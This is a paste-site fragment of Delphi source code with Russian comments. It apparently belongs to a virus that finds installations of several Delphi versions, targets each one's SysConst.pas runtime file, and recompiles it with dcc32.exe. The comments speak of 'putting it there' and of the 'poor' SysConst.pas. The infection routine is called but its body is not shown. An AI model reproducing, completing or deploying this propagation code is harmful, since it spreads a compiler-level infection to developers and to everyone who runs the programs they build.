- (* попробовать найти старые версии делфей и накласть там *)
- rt := C(PChar(DS1 + v40)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
- rt := C(PChar(DS1 + v50)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
- rt := C(PChar(DS1 + v60)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
- rt := C(PChar(DS1 + v70)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
- {
- например, для Delphi 7 функция B вызовется так:
- B('C:\Program Files\Borland\Delphi7\\source\rtl\sys\SysConst.pas', // путь к бедному файлу SysConst.pas
- 'C:\Program Files\Borland\Delphi7\\lib\SysConst.', // туда где SysConst.dcu
- 'C:\Program Files\Borland\Delphi7\\bin\dcc32.exe'); // путь к компилятору Delphi
- }
- (* попробовать найти новые версии делфей и заделать там *)
- {
- здесь отличие только в пути к файлу SysConst.pas
- он лежит в папке source\Win32\rtl\sys
- }
- rt := C(PChar(bih + v40)); B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
- rt := C(PChar(bih + v50)); B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
- rt := C(PChar(cg + v60)); B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
- rt := C(PChar(cg + v70)); B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement